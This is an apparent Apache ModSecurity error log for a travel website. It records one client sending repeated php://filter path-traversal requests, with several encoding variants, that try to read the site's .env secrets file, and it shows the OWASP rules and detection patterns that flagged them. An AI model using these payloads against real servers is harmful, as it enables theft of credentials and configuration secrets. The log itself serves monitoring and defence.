[Fri Jul 17 08:55:11.638778 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t6wAAAA4"]
[Fri Jul 17 08:55:11.638946 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.639310 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglyRF0UOO1RzB5_8t6wAAAA4"]
[Fri Jul 17 08:55:11.640147 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=tm5r2KPqxzEYfjP07Tyis1sPubdk4B5vsQPwNTBZXmmwdCQI8R_CRAGWlo053CYfxrK6xEGPomx6VfEL53icC62f4XIevh20sCdhUz3WPZ_d7_T4L-JjJNegKVm5mnXSbHrsQ9IxtAPLz2nlsRKL7oyDJ2DP72ee70V9ColRAdOY1p7dAOXm_EbQs8JJUWUshN3iVxnfXwizU2CoSKh0FH9B7HbiNqvsge-LswHQdZpNLINE__I2XhWctyk1pcIawtZB27AQ04B86p_LcDmusUrY&junk=4WGU5LECMD53U3L2SD5VSR3HNKXR6NXYKYOZJ3D4ZLFJZ4GTEA7TXAUQYUYO33K4JZFYPH4MGK2JNT6YJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.640218 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.640295 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.base64-encode/resource=../../.env&token=tm5r2KPqxzEYfjP07Tyis1sPubdk4B5vsQPwNTBZXmmwdCQI8R_CRAGWlo053CYfxrK6xEGPomx6VfEL53icC62f4XIevh20sCdhUz3WPZ_d7_T4L-JjJNegKVm5mnXSbHrsQ9IxtAPLz2nlsRKL7oyDJ2DP72ee70V9ColRAdOY1p7dAOXm_EbQs8JJUWUshN3iVxnfXwizU2CoSKh0FH9B7HbiNqvsge-LswHQdZpNLINE__I2XhWctyk1pcIawtZB27AQ04B86p_LcDmusUrY&junk=4WGU5LECMD53U3L2SD5VSR3HNKXR6NXYKYOZJ3D4ZLFJZ4GTEA7TXAUQYUYO33K4JZFYPH4MGK2JNT6YJYX2W6P674TQDAYXKIP7HB5HI..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.640340 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.base64-encode/resource=../../.env&token=tm5r2kpqxzeyfjp07tyis1spubdk4b5vsqpwntbzxmmwdcqi8r_cragwlo053cyfxrk6xegpomx6vfel53icc62f4xievh20scdhuz3wpz_d7_t4l-jjjnegkvm5mnxsbhrsq9ixtaplz2nlsrkl7oydj2dp72ee70v9colradoy1p7daoxm_ebqs8jjuwushn3ivxnfxwizu2coskh0fh9b7hbinqvsge-lswhqdzpnline__i2xhwctyk1pciawtzb27aq04b86p_lcdmusury&junk=4wgu5lecmd53u3l2sd5vsr3hnkxr6nxykyozj3d4zlfjz4gtea7txauqyuyo33k4jzfyph4mgk2jnt6yjyx2w6p674tqdayxkip7hb5hi..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.640379 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.640430 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.640928 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.642482 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.642725 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.643163 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95zgAAAAw"]
[Fri Jul 17 08:55:11.652879 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=kSIuw_eVSf8hxxDeAvUtkNVVvh_KqhzI2u9ftkH0JwmAjzvUYj2-PP31FXVLpiLcQ8y1rB8VwzdVAepGsam11oppyTK_BXmXhIPFiR_GGAzmGJ6XZo9Hn3rSkOO1N5j87N0zwTXrzml1RywiTYVv1_NZsvHbflpSE4Wt2hkGmctCwTaANV_rsvtxV71eSx6EHfsbeeUrYHbbjoXDd4wQgVwXJR0J9JoK_M2H7ohaDwe7aM8n3viyFu_cRkieNvzPikmjrxczY8AQfIreCqyanPq1&ref=IQDFEE64USPIN2ILCXJDBDLQB44W76G24FS3RUBK7KEQF47LY3QSGWC5KJ6X2HRED6IUEAVVLLDMD..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.652942 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.653003 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.base64-encode/resource=../../../.env&extra=kSIuw_eVSf8hxxDeAvUtkNVVvh_KqhzI2u9ftkH0JwmAjzvUYj2-PP31FXVLpiLcQ8y1rB8VwzdVAepGsam11oppyTK_BXmXhIPFiR_GGAzmGJ6XZo9Hn3rSkOO1N5j87N0zwTXrzml1RywiTYVv1_NZsvHbflpSE4Wt2hkGmctCwTaANV_rsvtxV71eSx6EHfsbeeUrYHbbjoXDd4wQgVwXJR0J9JoK_M2H7ohaDwe7aM8n3viyFu_cRkieNvzPikmjrxczY8AQfIreCqyanPq1&ref=IQDFEE64USPIN2ILCXJDBDLQB44W76G24FS3RUBK7KEQF47LY3QSGWC5KJ6X2HRED6IUEAVVLLDMDPICP5F7GBFKLF2AWLH6IB3U4IX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.653048 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&dir=php://filter/convert.base64-encode/resource=../../../.env&extra=ksiuw_evsf8hxxdeavutknvvvh_kqhzi2u9ftkh0jwmajzvuyj2-pp31fxvlpilcq8y1rb8vwzdvaepgsam11oppytk_bxmxhipfir_ggazmgj6xzo9hn3rskoo1n5j87n0zwtxrzml1rywityvv1_nzsvhbflpse4wt2hkgmctcwtaanv_rsvtxv71esx6ehfsbeeuryhbbjoxdd4wqgvwxjr0j9jok_m2h7ohadwe7am8n3viyfu_crkienvzpikmjrxczy8aqfirecqyanpq1&ref=iqdfee64uspin2ilcxjdbdlqb44w76g24fs3rubk7keqf47ly3qsgwc5kj6x2hred6iueavvlldmdpicp5f7gbfklf2awlh6ib3u4ix..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.653085 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.653109 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.653470 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.654543 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.654705 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.655012 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PoAAAABk"]
[Fri Jul 17 08:55:11.660564 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NgAAABw"]
[Fri Jul 17 08:55:11.663364 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-NgAAABw"]
[Fri Jul 17 08:55:11.663539 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.663849 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-NgAAABw"]
[Fri Jul 17 08:55:11.667807 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&dir=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&debug=pWlJY7PVMXZxTFA5-kHm77ccDBw5U0yzcavNCjvzdRgvSOebRxAMEa-T2-0QoLaFmVqDZU1-Tnx2H6GhQhINFQszbtdWyi5PbZEky6mjGPogz_pXVB_XqUKFaAHYEXX0q9tJnxnOw3SoIVTd20Bcd6be1QhFg6Ra6LlL8JKNIiotfTurlU_fPGgF9uAqhscjPxBiBmlvXehSuYE6DybuvR9b_N_cBsKS_iMK-58lrgQrViFXdXQSyLf5cWT7dc_gDwV1SeoXsMyYgz8QDe-v4U30&extra=Y7FOAVKMDZNUNAWSLHNA6IRIHZASKI5GHHYK7ERC6KJZSMAZM3ESGD3EWGO6LCDCADMPV2HOM243..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
[Fri Jul 17 08:55:11.667858 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:dir: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJAAAABQ"]
